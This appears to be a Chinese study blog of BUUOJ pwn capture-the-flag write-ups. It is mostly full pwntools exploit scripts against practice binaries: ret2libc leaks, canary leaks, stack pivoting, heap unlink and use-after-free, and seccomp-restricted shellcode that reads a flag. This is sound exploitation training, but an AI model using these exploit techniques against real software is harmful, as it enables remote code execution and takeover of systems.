BUUOJ_Writeup

不可视境界线最后变动于:2023年3月25日 晚上

1.前六道题小结:(有点懒直接总结)

  • 第一题测试nc命令
  • pwn1_sctf_2016: 一堆std::string啥的操作根本没看懂是什么.
  • ciscn_n_1: 栈溢出覆盖浮点数过if语句, 直接到IDA View查看十六进制的数值就可以了
  • 剩下的几题太简单了(回头来看的题都是这么简单!)

2. ciscn_2019_c_1

  • 由于没有给出libc库以及libc库的版本, 所以git clone python的LibcSearcher库, 并且学习如何使用.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
ret_addr = 0x4006b9 #这两个是用ROPgadget找到的, 使用了ROPgadget --binary filename --only "pop|ret" | grep rdi命令
rdipop_addr = 0x400c83

c = 0
if c == 0:
p = remote('node4.buuoj.cn', 28804)
else:
p = process("./ciscn_2019_c_1")
p.sendlineafter('ice!\n', b'1')

elf = ELF("./ciscn_2019_c_1") #class pwnlib.elf.elf.ELF(path, checksec=True)注意参数是路径,别忘了"./"
plt_addr = elf.plt['puts']
got_addr = elf.got['puts']
main_addr = elf.symbols['main']
# x64机器压入参数 唯一一个参数 ret指令跳转到的地址 函数返回地址(重新到main)
payload = b'b'*0x58 + p64(rdipop_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
p.sendlineafter("pted\n", payload)
p.recvuntil('Ciphertext\n')
p.recvline()
addr = u64(p.recv(7)[:-1].ljust(8,b'\x00')) #我也不知道这是为啥

libc = LibcSearcher("puts", addr)
libc_base = addr - libc.dump("puts")
sys_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
# 栈平衡 x64机器压入参数 唯一一个参数 ret指令跳转到的地址
payload = b'd'*0x58 + p64(ret_addr) + p64(rdipop_addr) + p64(binsh_addr) + p64(sys_addr)
p.sendlineafter("ice!\n", b"1")
p.sendlineafter("ted\n", payload)

p.interactive() #将程序的输出输入流改为 标准输出输入流

tips:

  • payload = b'b'*0x58 + p64(rdipop_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr)

    GOT顾名思义它只是一张表, 第一次链接后存放着函数的起始地址, plt表中使用 jmp *GOT[4], 即GOT表元素的引用, 第三个p64不能改为got_addr!!!!!!!!!!!!!

1
2
3
4
5
6
7
#LibcSearcher用法.(就是某位国人写的小工具, 至于为啥是str_bin_sh我还不知道.......)
from LibcSearcher import *
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)
obj.dump("system") #system 偏移
obj.dump("str_bin_sh") #/bin/sh 偏移
obj.dump("__libc_start_main_ret")

3. PWN5(普通的格式化字符串漏洞)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', 
overflows=16, strategy="small", badbytes=frozenset(), offset_bytes=0):str
'''Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures.
The size of the addr is taken from context.bits
'''
Parameters:
offset (int) – the first formatter’s offset you control
writes (dict) – dict with addr, value {addr: value, addr2: value2}
numbwritten (int) – number of byte already written by the printf function
write_size (str) – must be byte, short or int. Tells if you want to write byte by byte,
short by short or int by int (hhn, hn or n)
overflows (int) – how many extra overflows (at size sz) to tolerate to reduce the length of
the format string
strategy (str) – either ‘fast’ or ‘small’ (‘small’ is default, ‘fast’ can be used if there
are many writes)
Returns:
The payload in order to do needed writes

4. BabyRop[0].

查看程序的保护机制image-20210722002115059

发现是got表不可写的32位程序
拖进ida查看伪代码image-20210722002553447

sub_80486BB是初始化缓存区的函数
发现buf是一个随机数image-20210722002240287

发现函数中存在strncmp比较函数,其中buf为用户输入的值,s为buf随机数,如果不相等则会退出程序,所以需要想办法绕过这个判断,所以v1的值必须为0.

v1 = strlen(buf),strlen这个函数有个缺陷:遇到\x00直接截断。所以我们要输入第一位数为\x00

buf被IDA识别为32位数组, 函数返回值是buf[7], 所以直接将buf[7]写成想要的数值即可

接下来来看最后一个函数image-20210722002708919

其中a1即为上文中的v5,假如a1等于127则会执行第一条语句,不会溢出,当a1大于0xE7时就会存在溢出,从而覆盖返回地址

解题思路:首先通过\x00来绕过判断,覆盖v5为\xff(使得v5尽可能的大),通过wirte函数来泄露write的内存地址,然后利用libc来计算system函数地址,最后利用溢出使得返回地址为system

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = remote("node4.buuoj.cn",28361)
#ignore the strncmp and overwrite buf[7] to the max\xff
payload = b'\x00' + b'a'*6 + b'\xff'
p.sendline(payload)
#jump to read(0, buf, a1) and char buf[231]
payload = b'a'*(0xe7+0x4)
#leak the write_addr
elf = ELF("./babyrop", 0)
got = elf.got["write"]
plt = elf.plt["write"]
main = 0x8048825

payload = payload + p32(plt) + p32(main) + p32(1) + p32(got) + p32(4)
#payload = flat([b'a'*(0xe7+0x4), plt, main, 1, got, 4])
p.sendlineafter("ct\n", payload)
write_addr = u32(p.recv(4))

#calc the sys_addr and returned to the main function
libc = ELF("./libc-2.23.so", 0)
sys_libc = libc.symbols["system"]
write_libc = libc.symbols["write"]
binsh_libc = next(libc.search(b"/bin/sh"))

libc_base = write_addr - write_libc
sys = libc_base + sys_libc
binsh = libc_base + binsh_libc

#constrct the payload
payload = b'\x00' + b'a'*6 + b'\xff'
p.sendline(payload)
payload = flat([b'a'*(0xe7+0x4), sys, b'a'*4, binsh])
p.sendlineafter("ct\n", payload)
p.interactive()

tips:.

1
2
3
4
5
#新用法get:
sl=lambda x:io.sendline(x)
sla=lambda x,y:io.sendlineafter(x,y)
rl=lambda :io.recvline()
ru=lambda x:io.recvuntil(x)
  • strlen()函数遇到’\0’就会停止!!!!!!

  • 别忘了先是参数后是sys的返回地址.

  • pack(): Word-size, endianness and signedness is done according to context

    所以, flat()中的wordsize就不用管了, 自动使用相应的pack()函数

    1
    2
    3
    pwnlib.util.packing.flat(*a, **kw)
    - flat(*args, preprocessor = None, length = None, filler = de_bruijn(), #???debruijn是个什么东西
    word_size = None, endianness = None, sign = None) -> str

6.ciscn_2019_n_8

  • 三种方法一应俱全[0].
  • 还是看别人的才做的出来, 不然谁会知道:
    • get_flag的返回地址不能乱写,打远程时,如果程序是异常退出了,最后是不给你回显的.
    • 正常退出需要使用exit(), 所以将get_flag的返回地址写成exit的地址
    • 如果正常退出, 你不加一个p.recv()接受字符, 仍然没有回显.
    • 还有就是修改bss段的权限, 高级操作, 又得学一个函数**(还没学)**.

7.not_the_same

  • 简单的栈溢出题目, 就不截图了, 和第六题是一样的, 需要注意exit正常退出程序后必须recv几个字符远程才会有输出
  • 可以看到我做了一个万能头, 以后写exp只要复制修改一下就可以了, 还是挺方便的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *
context.binary = './not_the_same_3dsctf_2016'
context.log_level = 'debug'
ss=lambda x:p.send(x) #send string
sl=lambda x:p.sendline(x)
ru=lambda x:p.recvuntil(x)
rl=lambda :p.recvline()
ra=lambda :p.recv() #recv a
rn=lambda x:p.recv(x) #recv n
itt=lambda :p.interactive()
sla=lambda x,y:p.sendlineafter(x,y)
c = 0
if c == 0:
p = remote("node4.buuoj.cn", 26867)
else:
p = process("./not_the_same_3dsctf_2016")
#整理以下思路:45个数组先覆盖掉,然后是get_secrt地址,然后是write地址,
#write的返回地址(感觉得是exit的地址),第一个参数1,第二个0x80ECA2D,第三个50字节(就这么长)
#还是printf函数的参数简单一点
elf = ELF("./not_the_same_3dsctf_2016", 0)
exit = elf.symbols["exit"]
#write = elf.symbols["write"]
printf = elf.symbols["printf"]
get = elf.symbols["get_secret"]
buf = 0x80ECA2D
payload = flat([b'b'*45, get, printf, exit, buf])
sl(payload)
ra()

8.bjdctf_2020_babystack

  • 比较简单, 主要的问题是context的默认bit是32, 换成万能头的context.binary就没有问题了

9.ciscn_2019_ne_5

过程[0].

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *
context.binary = './ciscn_2019_ne_5'
context.log_level = 'debug'
ss=lambda x:p.send(x) #send string
sl=lambda x:p.sendline(x)
ru=lambda x:p.recvuntil(x)
rl=lambda :p.recvline()
ra=lambda :p.recv() #recv a
rn=lambda x:p.recv(x) #recv n
sla=lambda x,y:p.sendlineafter(x,y)
itt=lambda :p.interactive()
c = 0
if c == 0:
p = remote("node4.buuoj.cn", 28273)
else:
p = process("./ciscn_2019_ne_5")
#思路:先addlog写入128字节的src,下一次循环到getfalg里面用strcpy写入dest实现溢出,返回地址sys,sys返回地址随意,sys参数为sh地址
elf = ELF(b"./ciscn_2019_ne_5", 0)
sh = next(elf.search(b"sh")) #可以直接用ELF.search, 或者ROPgadget --binary "" --string ""
sys = elf.symbols['system']
payload = flat([b'b'*(0x48+0x4), sys, b'b'*4, sh])
#sla(b'password:', b'administrator')
#sla(b'0.Exit\n:', b'1')
#sla(b'info:', payload)
#sla(b'0.Exit\n:', b'4')
sl(b'administrator') #只要搞得清楚, 直接只用sendline(), 只是调试有点乱而已(也还好, 现在的输入也不会太多)
sl(b'1')
sl(payload)
sl(b'4')
#sl(b'administrator\n1\n'+payload+b'\n4') 甚至可以写成
itt()

10. others_shellcode_

1
__asm { int 80h; LINUX - sys_execve } //tmd这又是哪门子的LINUX

p.s. 关于__asm [0].

之前刷题中用到的后门函数都是system(“/bin/sh”),这次出现了一个新的后门:**execve()**。

函数定义:
**int execve(const char *filename, char const argv[ ], char const envp[ ]);

寄存器eax放execve的系统调用号11;
寄存器ebx放文件路径,即第一个参数;
寄存器ecx放第二个参数,是利用数组指针把内容传递给执行文件,并且需要以空指针(NULL)结束;
寄存器edx放最后一个参数,为传递给执行文件的新环境变量数组。

后两个参数一般为0

int 0x80:中断
执行系统调用函数execve()时,execve()通过int 0x80指令进入系统调用入口程序,并且把系统调用号11放入eax中,接着把参数放入ebx,ecx和edx中。如果没有/bin/sh字符串, 那么就先调用read函数读取”/bin/sh”, 尝试”sh”失败, 原因尚未知晓

11.2018_rop

1
2
3
setresuid(); 
setresgid();
//These two syscalls are like their equivalent kernels calls above, but with the additional ability to set the Saved-User-ID (SUID) or Saved-Group-ID (SGID). re represent

12.ciscn_s_3

  1. checksec

    image-20210806154145249

  2. main函数里面只有vuln, vuln函数里就是简单的sysread syswrite, 都是通过syscall以及系统调用号来执行的

    image-20210806154501028

    gadgets函数:

    image-20210806154658559
  3. 最重要的两点

    • 这两个函数都不以leave结尾, 意味着函数结束后没有恢复到之前的栈帧, 进入函数时的ebp的位置即为返回地址, 所以IDA中栈分析是错误的, 真实栈结构还得看汇编代码
    • 第一种办法: 看见了一个mov rax, 3Bh retn, 代表着我们可以利用这两行代码为执行sys_execve做准备
    • 第二种办法:SROP
    • 下面先用第一种方法.
  4. 从反汇编代码中看出sys_read几乎无限长字节(0x400), sys_write30个单位, 有明显的栈溢出, 这里我们使用59号系统调用(64位), 构造

    execve('/bin/sh',0,0)

    但是程序中并未发现/bin/sh, 所以需要手动输入, 新问题是sys_read后我们的字符串在什么地址上? 所以需要leak出某一个有用的地址

  5. gdb调试:

    b vuln->run->continue-> aaaaaaaaa(测试输入)->发现栈的基地址

    • 不得不说的就是这个栈的基地址, 一般是main函数参数中argv[0]即文件的路径, gdb中会写成这个样子

      0xffffd0ec —▸ 0xffffd204 —▸ 0xffffd3c4 ◂— '/root/Desktop/fm'

      取第一次解引用的地址即为栈的基地址, 减去rsp得到0x118

      栈的基地址长这样子, 有path的那条就是, 下面一大串的是环境变量envp

      image-20210806235944050
  6. 要注意的是, pop指令弹出的是栈上指针对应地址的数据, 平时栈溢出填充的很容易以为直接就是数据, 实际上在这种情况下应该写成一个地址, 指向payload中后面的参数, 如下sh+0x50指向mov_rax

  7. 详细注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
#from LibcSearcher import*
context.binary = './ciscn_s_3'
context.log_level= 'debug'
sl=lambda x:io.sendline(x)
rn=lambda x:io.recv (x)
io=remote('node4.buuoj.cn', xxxxx)
vuln=0x4004ed
pop_rdi=0x4005a3
csu_end=0x40059a
csu_front=0x400580
mov_rax=0x4004e2
syscall=0x400517
#第一次的目的是leak基地址, 填上数组的16字节即可, 返回地址继续回到vuln
payload=p64(0)*2+p64(vuln)
sl(payload)
rn(0x20)
binsh=u64(rn(8))-0x118
# 输入binsh 填完数组 即csuend 即mov_rax地址 rbx,rbp填为0 r13-r15全为0
payload= b'/bin/sh\0'+ p64(0)+ p64(csu_end)+ p64(0)*2+ p64(binsh+0x50)+ p64(0)*3
#即csufront ROPgadget execve首参数 mov系统调用号 最后syscall59执行execve
+p64(csu_front)+p64(pop_rdi)+p64(binsh)+ p64(mov_rax)+ p64(syscall)

sl(payload)
io.interactive()

附: SROP[CTF-WiKi] [writeup]

  • 简单说来SROP就是调用sigreturn函数改写所有寄存器的值, 然后再执行rip指向的地址

    本题中流程为: 泄露栈基地址->构造frame = SigreturnFrame()->填满数组, mov调用号15, syscall地址, bytes(frame)

13.babyheap_0ctf_2017

看了老半天源代码和基础知识

估摸着我得过几天复习复习, 可不能忘记了

别人的详细的wp 看雪 不太详细

14.[Black Watch 入群题]PWN

又是一种没见过的方法, 名为栈转移, 用于栈溢出不够, 以leave ret结尾, 有或能够向bss段写入数据的, 将rsp转移到bss

1
2
leave = mov rsp, rbp	 pop rbp    
ret = pop rip
1
2
3
4
5
6
7
8
9
10
11
12
13
st=>parallel: 流程:
opa1=>start: 填满栈上数组,
覆盖ebp为bss段某一地址
opa2=>start: 修改返回地址为leave&ret的gadget
opb1=>start: 往bss写入4字节数据作为第二次 pop rbp
opb2=>start: 如果未知sys,/bin/sh等地址
可用此次leak地址然后在下一次执行system函数
a=>parallel: 结束
st(path1, left)->opa1->opa2
st(path2, right)->opb1->opb2
opa2->a
opb2->a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python2
#coding=utf-8
from pwn import *
from LibcSearcher import *

context.binary = './spwn'
p = remote("node4.buuoj.cn", 25611)

elf = ELF("spwn")

bss_s = 0x0804A300 #将fake栈迁移到bss中
leave_ret = 0x08048511 #栈迁移所需要的的地址
write_plt = elf.plt["write"] #plt表可以调用write函数
write_got = elf.got["write"] #got表里有write函数的真实地址
main_addr = elf.symbols["main"] #控制函数执行流需要再次回到主函数
# 需要打印出write的真实地址查出,并且让函数再次返回主函数
payload = "aaaa" + p32(write_plt) + p32(main_addr)
payload += p32(1) + p32(write_got) + p32(4)
p.sendafter("name?", payload)
# 上面将一些执行流程写入了bss段
# 接下来的写入的buf在栈上,所以可以控制程序执行到bss段
payload = "a" * 0x18 #这个payload是写到栈上进行栈迁移的,所以先填充到ebp之前
payload += p32(bss_s) + p32(leave_ret)
p.sendafter("say?", payload)

write_addr = u32(p.recv(4)) #接收泄露的地址
libc = LibcSearcher("write", write_addr) #利用LibcSearcher函数可以根据泄露的地址找到相应的libc版本
libc_base = write_addr - libc.dump("write")#获取libc的基地址
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
# 第一次执行得到system函数地址后接下来会再次执行main函数
# 在这次有system函数的情况下再次进行相同的栈迁移执行system('/bin/sh')
payload = "aaaa" + p32(system_addr) + p32(main_addr)
payload += p32(binsh_addr)
p.sendafter("name?", payload)

payload = "a" * 0x18 + p32(bss_s) + p32(leave_ret)
p.sendafter("say?", payload)

p.interactive()

15.easyheap

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
elf=ELF("./easyheap")
sh = remote("slkdfjsldkf", 932487)
free_got=elf.got['free']
system_plt=elf.plt['system']
context.binary = './easyheap'
context.log_level='debug'
ptr=0x6020e8 # heaparray[1]的指针的地址
def add(size,content):
sh.recvuntil(b"Your choice :")
sh.sendline(b'1')
sh.recvuntil(b"Size of Heap : ")
sh.sendline(str(size).encode())
sh.recvuntil(b"Content of heap:")
sh.send(content)

def edit(idx, size, content):
sh.recvuntil(b"Your choice :")
sh.sendline(b'2')
sh.recvuntil(b"Index :")
sh.sendline(str(idx).encode())
sh.recvuntil(b"Size of Heap : ")
sh.sendline(str(size).encode())
sh.recvuntil(b"Content of heap : ")
sh.send(content)

def delete(idx):
sh.recvuntil(b"Your choice :")
sh.sendline(b'3')
sh.recvuntil(b"Index :")
sh.sendline(str(idx).encode())

add(0x100,b'aaaa')
add(0x20,b'bbbb')
add(0x80,b'cccc')
#创建三个chunk

payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(1,len(payload),payload)
delete(2) #使用unlink修改heaparray
payload=p64(0)+p64(0)+p64(free_got)
payload+=p64(ptr-0x18)+p64(ptr+0x10)+b"/bin/sh\x00"
edit(1,len(payload),payload)
edit(0,8,p64(system_plt))
delete(2)
sh.sendline("cat flag")
sh.interactive()
  • 最妙之处在于将free_got改为system_got, 然后又因为free和system都是指针类型, 只要伪造一个字符串指针就可以用free来执行system
  • 主要步骤:
    • 在chunk1的user date里造一个fake chunk header, 注意到chunk2的PREV_SIZE被修改为20, inuse_bit为0, 以及设置”空”chunk的fd和bk指针, 以避开FD->bk == BK->fd == victim的检查
    • 这样释放chunk2之后unlink就会使用FD->bk = BK; BK->fd = FD;后向合并, chunk1的user date变成另一个chunk, 并修改heaparray[1]为FD(ptr-0x18)
    • 再次编辑chunk1, 由于heaparray[1]已经指向ptr-0x18, 所以填充两个64位0, 将[0]覆盖为free_got表的地址, [1]指向FD, [2]指向后8字节的”bin/sh”
    • 编辑heaparray[0], 修改free_got的值为system_got
    • 然后delete(2), 这时调用system_got, 参数是存储在该位置的指针, 值为binsh的地址, 成功执行
654

16.hacknote

比较简单的一道heap题, 主要是UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *
context.binary = './hacknote'
context.log_level = 'debug'
ss=lambda x:p.send(x) #send string
sl=lambda x:p.sendline(x)
ru=lambda x:p.recvuntil(x)
rl=lambda :p.recvline()
ra=lambda :p.recv() #recv one
rn=lambda x:p.recv(x) #recv n
sla=lambda x,y:p.sendlineafter(x,y)
itt=lambda :p.interactive()
c = 0
if c == 0:
r = remote("node4.buuoj.cn", 29324)
else:
r = process("./hacknote")

def add(size,content):
r.sendlineafter('choice :',b'1')
r.sendlineafter('Note size :',str(size).encode())
r.sendlineafter('Content :',content)

def delete(idx):
r.sendlineafter('choice :',b'2')
r.sendlineafter('Index :',str(idx).encode())

def printf(idx):
r.sendlineafter('choice :',b'3')
r.sendlineafter('Index :',str(idx).encode())

add(16, b'aaaa')
add(16, b'bbbb')

delete(1)
delete(0)

elf = ELF("./hacknote")
mag = elf.sym["magic"]
add(12, p32(mag)) #2
printf(1)
r.sendline("cat flag")
r.interactive()

17.bjdctf_2020_babyrop2

这题是leak canary + return2libc, 这个值好像不会变呐, 我再去查查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher import *
context.binary = './bjdctf_2020_babyrop2'
context.log_level = 'debug'
ss=lambda x:p.send(x) #send string
sl=lambda x:p.sendline(x)
ru=lambda x:p.recvuntil(x)
rl=lambda :p.recvline()
ra=lambda :p.recv() #recv one
rn=lambda x:p.recv(x) #recv n
sla=lambda x,y:p.sendlineafter(x,y)
itt=lambda :p.interactive()
c = 0
if c == 0:
p = remote("node4.buuoj.cn", 29934)
else:
p = process("./bjdctf_2020_babyrop2")
#
elf = ELF("./bjdctf_2020_babyrop2")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
vuln = elf.sym['vuln']
pop_rdi_ret = 0x400993

sla('u!\n', '%7$p')
canary = int(rn(18), 16)
payload = b'b'*0x18 + p64(canary) + b'b'*8
payload += flat([pop_rdi_ret, puts_got, puts_plt, vuln])
sla('ry!\n', payload)

puts_addr = u64(rn(6).ljust(8, b'\x00'))
log.info(hex(puts_addr))
libc = LibcSearcher("puts", puts_addr)
libcbase = puts_addr - libc.dump('puts')
sys = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')

payload = b'b'*0x18 + p64(canary) + b'b'*8
payload += flat([pop_rdi_ret, binsh, sys])
sl(payload)
sl("cat flag")
itt()

18.pwnable_orw

看上去像是很简单的shellcraft, 但是第一个函数就有点特别了:

image-20210914223414394

  • seccomp()函数查看
  • 使用seccomp-tools:

image-20210914223259160

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

io = remote('node.buuoj.cn',25539)

context.binary = './orw'

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100) #读取到栈中
shellcode += shellcraft.write(1,'esp',100) #打在标准输出上
shellcode = asm(shellcode)

sleep(0.2) #意义不明
io.sendline(shellcode)
io.interactive()

新机制: seccomp

seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

image-20210913162407923

可以看到调用了一个新的函数prctl(). 具体的LInux Man Pageoption使用的宏定义在此

1
2
int prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5);

对于第一个prctl(), 38就是PR_SET_NO_NEW_PRIVS, 因此可以查到作用是:

set the calling thread’s no_new_privs attribute to thevalue in arg2. With no_new_privs set to 1, execve(2)
promises not to grant privileges to do anything that couldnot have been done without the execve(2) call (for
example,rendering the set-user-ID and set-group-ID modebits,and file capabilities non-functional). Once set,the no_new_privs attribute cannot be unset.

简单来说就是禁用execve()函数以及使用到execve()的其他函数

对于第二个prctl(), 22就是PR_SET_SECCOMP, 查到的作用是:

Set the secure computing (seccomp) mode for the calling thread, to limit the available system calls.

With arg2 set to SECCOMP_MODE_STRICT(equals 1),the only systemcalls that the thread is permitted to make are read(2),write(2),_exit(2)(but not exit_group(2)), and sigreturn(2). Other system calls result in the deliveryof a SIGKILL signal.

With arg2 set to SECCOMP_MODE_FILTER(equals 2)(since Linux 3.5),the system calls allowed are defined by a pointer to aBerkeley Packet Filter passed in arg3. This argument is apointer to struct sock_fprog; it can be designed to filterarbitrary system calls and system call arguments.

如果选了SECCOMP_MODE_FILTER:

我们先解释一些原理, 一些示例网站在此 (seccomp1) (seccomp2) (BPF介绍) (BPF指令集):

  • 两个关键struct:
1
2
3
4
5
6
7
8
9
10
11
12
13
/* Filter block */
struct sock_filter {
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */

};
/* Required for SO_ATTACH_FILTER. */
struct sock_fprog {
unsigned short len; /* Number of filter blocks */
struct sock_filter *filter;
};
  1. code变量涉及到了BPF这种技术, 而seccomp技术就是借鉴BPF的源码, 所以可以到BPF的指令集中找到这个变量的组合方式, 用一些神奇的手段把一些instructions编码进u16中.
  2. jt和jf的意思较为明显, 就是jump if true||false
  3. k装啥都行
  • 作用原理:

每个系统调用都会陷入系统调用控制函数syscall_trace_enter中,该函数中调用了secure_computing,系统调用号作为参数传递。在__secure_computing函数中,通过current->seccomp.mode提取标志位mode,如果mode为1或者2,则说明当前进程已经设置了seccomp限制。如果是1(SECCOMP_MODE_STRICT)则就只允许四个系统调用, 如果是2(SECCOMP_MODE_FILTER)就如上面所示

  • 效果: 就是自己设定每一条系统调用所对应的处理方法, 查询方式可以使用下面的工具, 自己设置可以小部分参考→这里.

seccomp-tools用法:(Github Page)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sudo gem install seccomp-tools
nevv@ubuntu:~/Desktop/seccomp-tools-master/bin$ seccomp-tools dump ../../pwn1
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 # line11
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011 # 0011这个就是左边的标号
0004: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0011
0005: 0x15 0x05 0x00 0x00000101 if (A == openat) goto 0011
0006: 0x15 0x04 0x00 0x00000055 if (A == creat) goto 0011
0007: 0x15 0x03 0x00 0x0000009d if (A == prctl) goto 0011
0008: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0011
0009: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00051234 return ERRNO(4660) #有任何一个不允许的系统调用出现时就反回errornumber

19.babyfengshui_33c3_2016

源代码分析中的关键函数部分提到过从几个功能函数推断出存储的结构体, 这次我没注意到这个细节, 属实是hacknote这题直接源码看一遍草草了事, 一些细节给我忽略了.

善用gdb.attach(), 说实话这样子看堆的结构是最为直观的, 但是我又大意了, 环境和服务器的不一样也不能直接用

还有一件事, 可以把一些自动生成的名称改一下, 这样子更好看源代码

这题认认真真的分析了一遍源代码, 又花了将近一天的时间, 我也不知道为啥会这么慢

  1. 首先从add函数中看出存数据的结构体是长这个样子的
1
2
3
4
5
struct user	//总共user_data区有0x80字节
{
char * description;
char name[0x7c];
}

​ 而且先malloc description的size(用户输入)字节, 然后再malloc user的0x80字节
2. delete和display没有什么特别的, 稍微看一下就可以看出add中count变量(当然是自己改的名字)
3. 然后update有个很蠢的检验方法, 主要是他想着user和description是相邻的而且顺序也是一样的, 这样的话我们就可以使用没有tcache的glibc版本来绕过

1
if ( (char *)(v3 + *(_DWORD *)*(&ptr + a1)) >= (char *)*(&ptr + a1) - 4 )
  1. 先申请三个chunk, 第三个存”/bin/sh”
  2. 将free_got 地址覆盖在chunk 1的description指针上, 通过display函数打印出来
  3. 通过LibcSearcher找出sys_addr
  4. 改写chunk 1 的description内容为sys_addr, 实际上就是改写free_got为sys_addr
  5. 调用delete(1)即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#from pwn import *
#from LibcSearcher import *
#context.binary = './babyfengshui_33c3_2016'
#context.log_level = 'debug'

elf = ELF("babyfengshui_33c3_2016")
free_got = elf.got["free"]
free_plt = elf.plt["free"]

#c = 0
#if c == 0:
# p = remote("node4.buuoj.cn", 26834)
#else:
# p = process("./babyfengshui_33c3_2016")
#
def add(size,name,length,text):

def delete(index):

def display(index):

def update(index,length,text):

add(0x80, "a1", 0x80, " ")
add(0x80, "a2", 0x80, " ")
add(0x8, "a3", 0x8, "/bin/sh\x00")

delete(0)

add(0x100, "aa", 0x19c, b'b'*0x198+p32(free_got))

display(1)
p.recvuntil("description: ")
free_addr = u32(p.recv(4))

libc = LibcSearcher("free", free_addr)
base = free_addr - libc.dump("free")
system_addr = base + libc.dump("system")

update(1, 0x8, p32(system_addr))
delete(2)
p.sendline("cat flag")
p.interactive()

20.xdctf2015_pwn200

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
libc = ELF("libc-2.23.so")
elf = ELF("bof")


payload = b'b'*112
payload += flat([elf.plt['write'], elf.sym['main'], 1, elf.got['write'], 4])

ru(b'5~!\n')
sl(payload)

write_addr = u32(rn(4)[:])

base = write_addr - libc.sym['write']
sys_addr = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh')) #就是这里只能用bytes类型, 其他没什么可注意的了

payload = flat([b'b'*112, sys_addr, elf.sym['main'], binsh])
ru(b'5~!\n')
sl(payload)

sl(b'cat flag')

itt()

21.inndy_rop

这题非常之直接, 静态链接+数组定义gets函数, 摆明了就是利用ROP

但是ROP比较长, 直接使用ROPgadget --binary rop --ropchain让它自动生成exploit

复制粘贴, 然后完事了………

唯一要注意的就是自动生成的是python2的语法, 如果有什么str类型的数据要把他变成bytes

22.